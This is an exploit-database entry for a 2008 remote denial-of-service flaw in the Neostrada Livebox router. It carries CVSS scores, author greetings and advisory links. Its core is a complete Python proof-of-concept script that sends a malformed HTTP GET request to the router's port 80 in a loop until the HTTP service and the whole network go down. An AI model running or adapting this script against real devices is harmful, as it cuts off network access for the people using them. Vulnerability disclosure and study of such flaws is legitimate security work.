Neostrada Livebox Remote Network Down PoC Exploit

2008-12-08 / 2008-12-09
Credit: 0in
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

# Neostrada Livebox Router Remote Network Down PoC Exploit # Author: 0in aka zer0in from Dark-Coders Group! # Contact: 0in.email(at)gmail.com / 0in(at)dark-coders.pl # Site: http://dark-coders.pl # Greetings to: All Dark-Coders Members: die,doctor,m4r1usz,sun8hclf ;* # Friends: cOndemned,joker,chomzee,TBH # IRC: #dark-coders & #pvt # Description: # When we send a "specially crafted http packet" x ~25 # Livebox HTTP service && all network goes down # Simple PoC source: #!/usr/bin/python from socket import * import os import sys target = "192.168.1.1" def to_vuln(ip): suck = socket(AF_INET,SOCK_STREAM,0) try: conn = suck.connect((ip,80)) except Exception: check(ip) return suck def check(ip): print "[+] No HTTP response..." print "[+] Server and network should go down!" print "[+] Check it with ping..." os.system("ping "+ip) i=0 print "[!] Neostrada Livebox Remote Network Down Exploit!!" print "[!] [HTTP DoS vuln] " print "[!] by 0in [0in.email(at)gmail.com] " print "\n[+] Dosing..." for i in range(256): pack3t = "GET /- HTTP/1.1\r\n\r\n" POC = to_vuln(target) POC.send(pack3t) try: POC.recv(512) except Exception: check(target)

References:

http://xforce.iss.net/xforce/xfdb/47183
http://www.securityfocus.com/bid/32696
http://www.securityfocus.com/archive/1/archive/1/499010/100/0/threaded
http://www.milw0rm.com/exploits/7387
http://secunia.com/advisories/33026
http://osvdb.org/50673


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